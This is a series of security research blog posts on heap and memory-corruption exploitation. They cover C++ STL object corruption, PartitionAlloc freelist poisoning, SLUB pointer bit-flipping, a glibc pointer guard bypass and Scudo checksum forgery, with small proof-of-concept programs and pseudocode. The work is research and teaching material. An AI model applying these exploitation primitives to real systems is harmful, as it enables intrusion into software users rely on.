Tuesday, 25 August 2020

C++ Memory Corruption - part 1

 

Dr Silvio Cesare
@silviocesare


Summary

C++ is a popular systems programming language. As such, it is desirable to develop exploitation primitives for this language since many exploitation targets will be written in C++. This blog posts looks at 2 C++ specific exploitation techniques when STL objects are subject to memory corruption. In particular, we will examine vector iterators and smart pointers in Linux on Ubuntu 20.04.

Introduction

Generic or abstract data types are implemented in C++ using a library known as STL or the standard template library. Typical STL containers include abstract data types such as linked lists, vectors, arrays, associative maps, sets, and hash tables.

As part of STL, iterator classes exist to navigate through their appropriate data structure. Different types of iterators exist for particular STL objects. For example, a singly linked list implemented as the STL forward_list, only allows iteration in a single direction. Thus a forward iterator is more reasonable than a bidirectional iterator. However, all iterator classes have a uniform interface that appear roughly the same, independent of the underlying data structure that is being navigated.

STL objects contain members of utility to an attacker who is able to perform memory corruption on those members. For example, if a class contains a fixed size buffer that is subsequently followed by an STL vector, a buffer overflow will overwrite the STL vector object. The question is then - what primitives can be obtained when various STL objects are corrupted?

Two particular STL data structures are of interest to this blog post - vectors and smart points. A series of blog posts will follow which look at other STL objects, but for now, we will focus on these 2 as a starting point.

A vector is a dynamically sized array. It offers constant time indexed access. To iterate through a vector, it is also possible to use an STL iterator object.  

Smart pointers are very common in modern C++. In particular, we will look at unique_ptr which is a container for a regular pointer that has the semantics of only have 1 owner. Thus, when unique_ptr is destroyed, it frees (deletes) the underlying pointer. This is in contrast to a shared_ptr, which can have multiple owners. Only once all owners have destroyed their smart pointer is the underlying raw pointer destroyed.

Vector Iterators

A vector iterator simply maintains an internal pointer to the current element that the iterator points it. Thus, memory corruption of a vector iterator simply overwrites this pointer. This is a powerful device and can be used by an attacker, given appropriate application logic, as an arbitrary read/write primitive.

Here is a demonstration of a simulated memory corruption allowing *it = 0x41414141 to be used as an arbitrary write.

#include <iostream>
#include <cstdio>
#include <vector>
#include <unistd.h>


static char buf[16];
static std::vector<long>::iterator it;
static std::vector<long> v;
static long x;

int
main()
{
	v = std::vector<long>(10);
	v[0] = 10;
	v[1] = 20;
	it = v.begin();
	*(long *)&buf[16 + 0] = (long)&x; // BUFFER OVERFLOW
	*it = 0x41414141;
	printf("%lx\n", x);
	_exit(0);
}

As you can see, it a vector iterator is a powerful STL object to corrupt.

Unique Pointers

A unique_ptr in STL, takes a raw pointer and wraps it in the STL container. The STL object simply holds the underlying raw pointer. The destructor of the unique_ptr deletes the underlying pointer. Thus, a memory corruption of a unique_ptr will overwrite the underlying pointer.

Corrupting a pointer might be useful in a number of ways. For example, in the previous vector iterator example, corruption a pointer gave an attacker the ability to perform an arbitrary write. But let's do something different as an example of unique_ptr corruption.

 Let's make it such that we synthesise freeing a wild pointer. But we will make this wild pointer special, and utilise a heap corruption technique known as the House of Spirit. In the House of Spirit technique, we will place a fake malloc chunk into the heap that will subsequently be returned by a future allocation. We do this by freeing a fake chunk header and setting an appropriate size field. The chunk payload does not need to be correct, we simply need the fake chunk header for the chunk to be placed into the allocator. When this chunk is returned by the allocator in a future allocation, the chunk payload might overlap into critical data structures maintained by the application.

Let's look at it in action:

#include <iostream>
#include <memory>
#include <cstdio>
#include <cstring>
#include <unistd.h>

class Foo {
public:
	char buf[16];
	std::unique_ptr<long *> ptr;
};

unsigned long pad;
unsigned long size;
unsigned long house_of_spirit;
int admin;
char padding[100];

void f()
{
	struct Foo foo;
	foo.ptr = std::make_unique<long *>(new long[10]);

	size = 112;
	*(long *)&foo.buf[16] = (long)&house_of_spirit; // BUFFER OVERFLOW
	// foo.ptr is deleted by smart pointer destructor
}

int main()
{
	char *p;

	f();
	p = new char[100];
	memset(p, 'A', 100);
	if (admin == 0x41414141) {
		fprintf(stderr, "WIN\n");
	}
	exit(0);
}

A very interesting technique.

Conclusion

This blog post presented 2 techniques on how to leverage STL object corruption to create exploitation primitives. Having developed techniques in STL object corruption allows for better exploitation of C++ targets.

Sunday, 10 May 2020

Double Frees in Chrome's Partition Alloc - part 2

Dr Silvio Cesare
@silviocesare


Summary

PartitionAlloc is the hardened heap allocator used in Google's Chrome web browser. It is susceptible to a number of attacks. This blog post describes the second attack in a series of posts. I will talk about double frees and how to make an allocation request return an arbitrary pointer. This can be used with application-logic to develop an arbitrary write primitive.

Introduction

In heap allocators, freelists maintain a group of free memory chunks that are available to be recycled by an allocation request. Freelist poisoning corrupts this list and injects a "fake chunk" pointer. A later allocation will return this fake chunk pointer. So it is possible to make an allocation request return an arbitrary pointer.

A double free often creates a cycle in the freelist. When a chunk is returned by an allocation request, the chunk still remains in the freelist. Thus, if an attacker writes to that chunk, it is use-after-free and akin to freelist poisoning.

ParitionAlloc Double Frees

PartitionAlloc, like many other allocators, has a trivial mitigation against double frees. It simply checks the last freed pointer with the pointer currently being freed. Here is an example of a trivial double free.


And let's see the mitigation in effect, which triggers a SIGILL:


A simple method to defeat this trivial mitigation is to interleave the free of another pointer between the double free. This will create a cycle in the underlying freelist and subsequent allocations will reflect this cycle.


And we can see the freelist cycle produces an infinite number of identical allocations reflecting the cycle that was created.


The important thing to note is that when one of those chunks is allocated, it still remains on the freelist. Thus, if we overwrite the data in a chunk, it's effectively the same as a use-after-free. Therefore, we can employ freelist poisoning. Let's do that:


 Let's run our complete exploit:


We can see we made PartitionAlloc return an arbitrary pointer. The application logic let us write to that, and we made the foo variable our desired value.

Conclusion

In this blog post, I demonstrated the classic double free poisoning attack against PartitionAlloc. This allocator has a number of mitigations and hardening strategies. However, attacks still exist. In future blog posts I will talk about other attacks against this allocator.

Tuesday, 14 April 2020

Bit Flipping Attacks Against Free List Pointer Obfuscation

Dr Silvio Cesare
@silviocesare


Summary 

In this blog post, I look at attacks to make an obfuscated free list pointer, such as that used in the Linux kernel, demangle or descramble to an arbitrary address. The way I do this, is to substitute the stored and obfuscated pointer with a pointer of my choosing and then take note of errors reported by the resulting invalid pointer once it has been demangled. Using bitwise arithmetic, I am able to take these invalid pointers and construct a new substitute pointer such that demangling returns to me a near arbitrary pointer.

Introduction

Free list pointers are used in the default Linux kernel heap allocator, SLUB. A free list pointer holds the address of the next available chunk of memory. If an attacker is able to corrupt or poison this pointer, they might make a heap allocation return a somewhat arbitrary pointer. In the Linux kernel, this pointer is not entirely arbitrary because the pointer is validated to belong to the appropriate slab in question.

The latest Linux kernels use a free list pointer obfuscation technique as follows (in pseudocode):

def mangle(ptr, ptr_addr, secret):
  return ptr ^ swab(ptr_addr) ^ secret

def demangle(obfuscated_ptr, ptr_addr, secret)
  return obfuscated_ptr ^ swab(ptr_addr) ^ secret

In conjunction with an oracle that tells us invalid demangled pointers, we can construct a bit flipping attack to demangle a chosen obfuscated_ptr into an arbitrary address. Other than being able to modify or infoleak the obfuscated_ptr, an attacker doesn't have much else they can do. Thus, our attack is based around carefully selecting to substitute obfuscated_ptr in a series of demangling operations.

A Pointer Demangling Oracle

A requirement for our bit flipping attack is that we have an oracle that demangles pointers and tells us the result.

As stated earlier, the Linux kernel does the validity checks after pointer demangling to ensure the pointer is in the correct slab:

        /* Check free pointer validity */
        if (!check_valid_pointer(s, page, get_freepointer(s, p))) {
                object_err(s, page, p, "Freepointer corrupt");
                /*
                 * No choice but to zap it and thus lose the remainder
                 * of the free objects in this slab. May cause
                 * another error because the object count is now wrong.
                 */
                set_freepointer(s, p, NULL);
                return 0;
        }


If we expand object_err, we can see the following code that gets called:

static void print_trailer(struct kmem_cache *s, struct page *page, u8 *p)
{
        unsigned int off;       /* Offset of last byte */
        u8 *addr = page_address(page);

        print_tracking(s, p);

        print_page_info(page);

        pr_err("INFO: Object 0x%p @offset=%tu fp=0x%p\n\n",
               p, p - addr, get_freepointer(s, p));


So it seems in some cases, an invalid pointer allows to inspect the kernel messages for the free list pointer that is demangled to an invalid pointer.

This is enough to allow us to perform a bit flipping attack.

Bit Flipping  

Firstly, ptr and ptr_addr are almost identical. Originally, pointer mangling worked as ptr ^ ptr_addr ^ secret. Only some of the low bits between ptr and ptr_addr change since both values reside in the same slab. Thus, a simple infoleak of the obfuscated_ptr disclosed most of the secret. I disclosed that attack in an earlier blog post https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel-heap.html. A subsequent patch to remedy this problem was to use swab(ptr_addr) in the mangling operation.

OK, onto the new attack.

Let us assume we can overwrite a stored and obfuscated free list pointer. Let us overwrite this stored pointer with 0x1. We choose 0x1 because 0x0 might be interpreted as a NULL pointer. For now, we will avoid dealing or discussing NULL pointer in mangling.

When we substitute 0x1 for the obfuscated pointer, a demangle operation looks like this

ptr1 = 0x1 ^ swab(ptr1_addr) ^ secret

This pointer will almost certainly be invalid. As I showed earlier, our pointer demangling oracle will tell us what ptr1 is.

Let's now take our target_address that we want a demangle operation to result in. We XOR this with ptr1, which results in:

obfuscated_ptr2 = target_address ^ 0x1 ^ swab(ptr1_addr) ^ secret

Let's substitute another stored and obfuscated pointer with this value and demangle it.

ptr2 = (obfuscated_ptr2) ^ swab(ptr2_addr) ^ secret

Let's expand:

ptr2 = (target_address ^ 0x1 ^ swab(ptr1_addr) ^ secret) ^ swab(ptr2_addr) ^ secret

And we simplify:

ptr2 = target_address ^ 0x1 ^ swab(ptr1_addr) ^ swab(ptr2_addr) 

Now remember that ptr1_addr and ptr2_addr are almost identical since they belong in the same slab. This means that swab(ptr1_addr) ^ swab(ptr2_addr) approximately equals 0. Lets assume it does equal 0, and ptr2 is now:

ptr2 = target_address ^ 0x1

We just performed a bit flipping attack and demangled an obfuscated pointer into our target_address!

Let's see this in some Python code:

#!/usr/bin/python

import struct

def swab(i):
    return struct.unpack("<Q", struct.pack(">Q", i))[0]

def mangle(ptr, ptr_addr, secret):
    return ptr ^ swab(ptr_addr) ^ secret

def demangle(stored_value, ptr_addr, secret):
    return stored_value ^ swab(ptr_addr) ^ secret

# real-world sample data
#ptr              ptr_addr            stored value      secret
#ffff9eed6e019020@ffff9eed6e019000 is 793d1135d52cda42 (86528eb656b3b59d)
#ffff9eed6e019040@ffff9eed6e019020 is 593d1135d52cda22 (86528eb656b3b59d)
#ffff9eed6e019060@ffff9eed6e019040 is 393d1135d52cda02 (86528eb656b3b59d)
#ffff9eed6e019080@ffff9eed6e019060 is 193d1135d52cdae2 (86528eb656b3b59d)
#ffff9eed6e0190a0@ffff9eed6e019080 is f93d1135d52cdac2 (86528eb656b3b59d)

secret = 0x86528eb656b3b59d
stored_value1 = 0x793d1135d52cda42
stored_value2 = 0x593d1135d52cda22
ptr1 = 0xffff90c22e019020
ptr2 = 0xffff90c22e019020
ptr_addr1 = 0xffff90c22e019000
ptr_addr2 = 0xffff90c22e019020

target_ptr = 0x1234567812345678

obfuscated_ptr2= demangle(0x1, ptr_addr1, secret)
x = obfuscated_ptr2 ^ target_ptr ^ 1
ptr2 = demangle(x, ptr_addr2, secret)

print("Target pointer is 0x%lx" % (target_ptr))
print("Replacing stored pointer with 0x%lx" % (x))
print("Demangled to 0x%lx" % (ptr2))


Let's run this and see our result:

infosect@ubuntu:~/InfoSect/$ ./bit-flipping.py
Target pointer is 0x1234567812345678
Replacing stored pointer with 0x94f6d9e086171c1b
Demangled to 0x3234567812345678


We can see that our demangled pointer is almost correct. Only the high bits are different. We can use our pointer oracle to brute force until we get the correct demangled pointer. Bit flipping works!

Mangling NULL Pointers

In the Linux kernel, NULL pointers can also be mangled. In the case where we can infoleak a mangled NULL pointer and then allocate that same chunk, we can perform bit flipping with 100% accuracy.

Practicality of the Attack

There's about a million easier ways to gain code execution in the Linux kernel than what I've just described. This blog post is simply to show the limits of possibility when attacking 1 particular mitigation - in this case, free list pointer obfuscation in the SLUB allocator.

Conclusion

Bit flipping attacks are known cryptographic attacks against a variety of block ciphers. Bit flipping attacks can also be used against pointer obfuscation as used in the Linux kernel. I hope this blog post inspires other people to apply cryptographic attacks in the world of memory corruption exploitation.




 

Sunday, 12 April 2020

An Analysis of Linux Kernel Heap Hardening

Dr Silvio Cesare
@silviocesare


Summary 

I wrote a blog post some months ago on weaknesses in the Linux kernel heap free list pointer hardening implementation. In response to that weakness, Kees Cook wrote an improved kernel patch, which I reviewed. This blog post is an analysis of that patch. I try to break it using an SMT solver and fail.

Introduction

In the original kernel slab free list hardening patch, the free list pointer was scrambled to prevent naive free list pointer corruption and poisoning.

The scrambling consisted of:

obfuscated_ptr = ptr ^ ptr_addr ^ secret

The weakness in this approach was because ptr and ptr_addr were part of the same slab, they were highly similar. In fact, only the low bits were different. As such, the obfuscated_ptr revealed almost the entire secret. The blog post where I talk about this is here https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel-heap.html.

A subsequent patch was written by Kees Cook in https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1ad53d9fa3f6168ebcf48a50e08b170432da2257 to improve the pointer scrambling and he asked me for feedback at the time. I think this is a fantastic thing that the Linux kernel team actively works with security researchers.

The improved patch changes the use of ptr_addr:

obfuscated_ptr = ptr ^ swab(ptr_addr) ^ secret

swab swaps the byte order.

The question is, can we recover information, such as the secret or the pointer, from the obfuscated pointer?

SMT Analysis

The approach I use to analyse the patch is to represent the scrambling operation as a set of SMT constraints. I will then query the SMT solver to see if I can infer secret information.

Here are the equations:

    equations = [
        ptr & ~0xfff == ptr_addr & ~0xfff,
#        ptr == ptr_addr + 0x20,
        ptr & 0xf == 0,
        ptr_addr & 0xf == 0,
        ptr_addr_swab_0 == (LShR(ptr_addr,  0) & 0xff) << 56,
        ptr_addr_swab_1 == (LShR(ptr_addr,  8) & 0xff) << 48,
        ptr_addr_swab_2 == (LShR(ptr_addr, 16) & 0xff) << 40,
        ptr_addr_swab_3 == (LShR(ptr_addr, 24) & 0xff) << 32,
        ptr_addr_swab_4 == (LShR(ptr_addr, 32) & 0xff) << 24,
        ptr_addr_swab_5 == (LShR(ptr_addr, 40) & 0xff) << 16,
        ptr_addr_swab_6 == (LShR(ptr_addr, 48) & 0xff) <<  8,
        ptr_addr_swab_7 == (LShR(ptr_addr, 56) & 0xff) <<  0,
        ptr_addr_swab == ptr_addr_swab_0 +

                         ptr_addr_swab_1 +
                         ptr_addr_swab_2 +
                         ptr_addr_swab_3 +
                         ptr_addr_swab_4 +
                         ptr_addr_swab_5 +
                         ptr_addr_swab_6 +
                         ptr_addr_swab_7,
        stored_value == secret ^ ptr ^ ptr_addr_swab,
    ]



We will use some testing data that Kees Cook produced to go along with his kernel patch:

#ptr              ptr_addr            stored value      secret
#ffff9eed6e019020@ffff9eed6e019000 is 793d1135d52cda42 (86528eb656b3b59d)
#ffff9eed6e019040@ffff9eed6e019020 is 593d1135d52cda22 (86528eb656b3b59d)
#ffff9eed6e019060@ffff9eed6e019040 is 393d1135d52cda02 (86528eb656b3b59d)
#ffff9eed6e019080@ffff9eed6e019060 is 193d1135d52cdae2 (86528eb656b3b59d)
#ffff9eed6e0190a0@ffff9eed6e019080 is f93d1135d52cdac2 (86528eb656b3b59d)


* The first thing we will query is can we recover the secret given only the obfuscated pointer?

The answer is No. Given only obfuscated pointer, there are a very large number of possible candidates for the secret. And there are no collisions where different secrets produce the correct result.

* The next thing we will ask, is if we have an infoleak of the pointer (ptr) and the obfuscated pointer (stored value), but not the ptr_addr, can we recover the secret?

The answer is yes. In the test data above, we can make some assumptions about ptr and ptr_addr. 1) Only the low 12 bits between them are different. 2) For this allocation pattern, since we are allocating fixed size chunks, then the very low bits to force a chunk alignment are zero.

If we ask our SMT solver what the secret is, given ptr and the stored value, there are 256 candidate secrets.

If we assume ptr_addr is offset by 0x20 to ptr, then we can come up with a single solution.

Conclusion

In this blog post, I looked at a new addition to the Linux kernel heap hardening. I tried to attack it using an SMT solver to recover the secret value used in the free list pointer scrambling. I failed. The patch represents an improvement over the previous hardening attempt.




Bypassing Pointer Guard in Linux's glibc

Dr Silvio Cesare
@silviocesare


Summary 

Pointer guard is an exploit mitigation in glibc that applies to stored pointers and especially stored function pointers. A number of library calls can register function pointers that get executed later on. An example of this is registering an exit handler with atexit(). Stored function pointers are scrambled or mangled by XORing them with a secret in the thread data (fs:0x30) and applying a bitwise rotation. This mitigates control-flow hijacking by an attacker who would otherwise be able to overwrite the stored function pointer with a location of their choosing. In this blog post, I'll present a bypass for pointer guard in multithreaded applications where an attacker knows the libc base address and has an arbitrary read.

Introduction

Pointer guard is documented in glibc reference materials https://sourceware.org/glibc/wiki/PointerEncryption. The mitigation provides a set of macros that mangle and demangle pointers. The API to use is PTR_MANGLE and PTR_DEMANGLE. For example, if an application wants to store a function pointer in *stored_ptr, they could use the following:

*stored_ptr = PTR_MANGLE(ptr)

And to demangle it:

ptr = PTR_DEMANGLE(*stored_ptr);

The pointer mangling works by XORing the pointer with an internal 64-bit secret, then performing a bitwise left rotatation of 0x11 bits (on x86-64). Demangling is the reverse.

Related Work

After I tweeted the requirements for this attack, I was linked to http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html. This is similar attack to the one I present with some specific differences. Interested readers are advised to review it.

The Attack

The attack is essentially a known-plaintext attack against the mangling operation. If we know the original pointer and its mangled version, we can recover the 64-bit secret.

How do we get known plaintexts? The related work linked earlier shows 1 way to identify known plaintext. I will present another approach.

Let's grep -rw PTR_MANGLE glibc/ --include '*.c' and examine each reference. I can quickly see an interesting use:


In thread initialization, we can see a function pointer table at a fixed address (__libc_pthread_functions).

If we examine what the first entry of this function pointer table, we can see that it points to __pthread_attr_destroy.

This is enough to defeat pointer guard if we know the library base from an ASLR leak. This is shown in the following pseudo code.
  
x = __libc_pthread_functions[0];
secret = rotr64(x, 0x11) ^ &__pthread_attr_destroy;

There is something else we can try. Is there a possibility that there is a mangled function pointer where the function pointer is equal to 0 or perhaps -1 or another fixed constant?

I write some test code to recover the cookie in a multithreaded application, and then i take the results of:

PTR_MANGLE(0);
PTR_MANGLE((unsigned long)-1);

In GDB using the GEF debugging plugin, I use pattern-search to find any such memory in the address space that has stored one of these mangled pointers with known plaintexts (pointers).

I find one.

__libc_pthread_functions[1] in my particular application has a mangled NULL pointer.

To defeat pointer guard then after program initialization, given the address of __libc_pthread_functions, is:

secret = rotr64(__libc_pthread_functions[1], 0x11);

From this point, an attacker can safely and correctly mangle their own pointers.

Conclusion

In this blog post, I presented an attack against the pointer guard exploit mitigation in Linux's glibc. The bypass requires the base address of libc and an arbitrary read.

Wednesday, 8 April 2020

Breaking Secure Checksums in the Scudo Allocator

Dr Silvio Cesare
@silviocesare


Summary 

Scudo is a hardened heap allocator used in Android. Scudo has a security mechanism where malloc chunk headers include a CRC32 checksum that incorporate the malloc chunk pointer and an out of band secret 32-bit cookie. In this blog post, I assume I am able to leak a malloc chunk header and the pointer to it. From that, I infer the secret cookie by solving a set of equations that model the checksum algorithm using the z3 and STP SMT solvers, such that I can create my own checksums for fake chunk headers.

Introduction

Scudo is a hardened allocator as used in Android. To use scudo is quite simple with the clang compiler and a compiler option.

$ clang -fsanitize=scudo test.c -o test

A malloc chunk has an 8-byte header. This header is defined as:



The 16-bit checksum uses the CRC32 algorithm and incorporates the pointer to the malloc payload and a secret 32-bit cookie that is not stored in the header. The CRC32 checksum is truncated to 16-bits and then stored in the header.

The cookie is shown below:



And the checksum code:



An attack to reveal the cookie

I can unroll the loops of the checksum algorithm and represent them as a set of SMT equations.


I can simply represent a set of header and pointer leaks as these SMT equations. From this, I can query my solver for what the cookie should be. I use the SMT solver z3.
.

Results

With 1 pointer and header leak I can generate a cookie that produces the correct checksum with my input data. That is, when the scudo checksum algorithm runs with my header leak, and I substitute my cookie with the system cookie - I generate the correct checksum!

It only takes a few seconds to run. However, it is not a unique solution. Therefore, it is only chance if it generates the same cookie as the unique system wide allocator cookie.

Initially, I thought my approach had failed. I repeatedly tried to calculate a unique solution. I added more and more leaks. I employed multicore SAT solvers and the STP SMT solver. I tried 60 leaks and a VM with 16 cores and 128Gb of memory. It crashed, running out of resources, after 3 days.

Likewise, for 1000 leaks and 10000 leaks. They all quickly ran out of memory or couldn't complete in a feasible amount of time.

It didn't matter. I have a solution.

It turns out I don't need a unique solution and my inferred cookie to match the system one. There are cookie collisions. My cookie produces the same correct checksums in future allocations like the system cookie.

In summary, I can infer a working cookie from 1 leak of a malloc chunk header and the pointer to it.

Conclusion

In this blog post I presented an attack to fake checksums in malloc chunk headers against the hardened scudo allocator. This will allow the creation of fake chunks which is a starting point for other heap attacks.

The code for the attack can be found at https://github.com/infosectcbr/scudo-checksum-attack



Wednesday, 18 March 2020

InfoSect Coronavirus (COVID-19) Announcement

InfoSect prides itself in providing high-quality, in person training with low student numbers per class and specialised instruction from our trainers. However, with the current Coronavirus pandemic sweeping the world, we understand this is not feasible for the near to medium term.

During this time InfoSect is planning to run live, interactive training courses.

What does this mean for students?

  1. Students will be provided a link the day before training starts to log into a virtual classroom.
  2. The virtual classroom will include a live stream of Silvio teaching the course.
  3. Students will be able to ask questions and engage live with Silvio during the course.
  4. Lab guides will be provided in soft copy instead of hard copy.
  5. Hands-on labs will be facilitated remotely, with the same hands-on, interactive challenges.
  6. InfoSect swag will be posted following the course.
Requirements to attend:
  1. A place to study.
  2. An Internet connection.
  3. A laptop with a browser and capable of SSH.
  4. A microphone or headset to talk, though a chat client will also be accessible.
We hope everyone stays safe during this time and we are available to answer any extra questions you may have at info@infosectcbr.com.au

Please see our course offerings at https://infosect.eventbrite.com.au or email us on the above email to directly to book training.


Tuesday, 10 March 2020

Heap Exploitation in Chrome's PartitionAlloc - part 1

Dr Silvio Cesare
@silviocesare


Summary

PartitionAlloc is the hardened heap allocator used in Google's Chrome web browser. It is susceptible to a number of attacks. This blog post describes the first attack in a series of posts. I will talk about freelist poisoning and how to make an allocation request return an arbitrary pointer. This can be used with application-logic to develop an arbitrary write primitive.

Introduction

In heap allocators, freelists maintain a group of free memory chunks that are available to be recycled by an allocation request. Freelist poisoning corrupts this list and injects a "fake chunk" pointer. A later allocation will return this fake chunk pointer. So it is possible to make an allocation request return an arbitrary pointer.

I have blogged about freelist poisoning extensively. It is a common attack that many allocators are vulnerable to.

https://blog.infosectcbr.com.au/2020/03/weaknesses-in-linux-kernel-heap.html
https://blog.infosectcbr.com.au/2019/12/freelist-heap-exploitation-on-docker.html

https://blog.infosectcbr.com.au/2019/12/attacks-on-tcmalloc-heap-allocator.html
https://blog.infosectcbr.com.au/2019/11/avr-libc-freelist-poisoning.html
https://blog.infosectcbr.com.au/2019/11/diet-libc-freelist-poisoning.html
https://blog.infosectcbr.com.au/2019/07/linux-heap-tcache-poisoning.html 

ParitionAlloc Freelist Poisoning

PartitionAlloc, like many allocators, maintains freelists. It keeps the pointers used in these freelist in the payload area of a free chunk of memory. The main difference between this approach and the typical freelist implementation, is that PartitionAlloc stores the pointer in big endian format on x86 or other little endian architectures, and as a bitwise complement on big endian architectures. Here is the code:

ALWAYS_INLINE PartitionFreelistEntry* partitionFreelistMask(PartitionFreelistEntry* ptr)
{
    // We use bswap on little endian as a fast mask for two reasons:
    // 1) If an object is freed and its vtable used where the attacker doesn't
    // get the chance to run allocations between the free and use, the vtable
    // dereference is likely to fault.
    // 2) If the attacker has a linear buffer overflow and elects to try and
    // corrupt a freelist pointer, partial pointer overwrite attacks are
    // thwarted.
    // For big endian, similar guarantees are arrived at with a negation.
#if CPU(BIG_ENDIAN)
    uintptr_t masked = ~reinterpret_cast<uintptr_t>(ptr);
#else
    uintptr_t masked = bswapuintptrt(reinterpret_cast<uintptr_t>(ptr));
#endif
    return reinterpret_cast<PartitionFreelistEntry*>(masked);
}


The inline comment describes this "mitigation". It can prevent trivial off-by-1's and the like. However, if an attacker is able to overwrite the entire freelist pointer, then they can simply apply the correct transformation of the pointer.

I have moved ParitionAlloc out of Chrome and made it a standalone library for ease of testing. Here is an example of the freelist poisoning attack using this library.


And when we run that, we are able to gain an arbitrary write to foo and change it to 0x41414141424242. The attack works.

Conclusion

In this blog post, I demonstrated the classic freelist poisoning attack against PartitionAlloc. This allocator has a number of mitigations and hardening strategies. However, attacks still exist. In future blog posts I will talk about other attacks against this allocator.

Exploiting the Lorex 2K Indoor Wifi at Pwn2Own Ireland

Introduction In October InfoSect participated in Pwn2Own Ireland 2024 and successfully exploited the Sonos Era 300 smart speaker and Lor...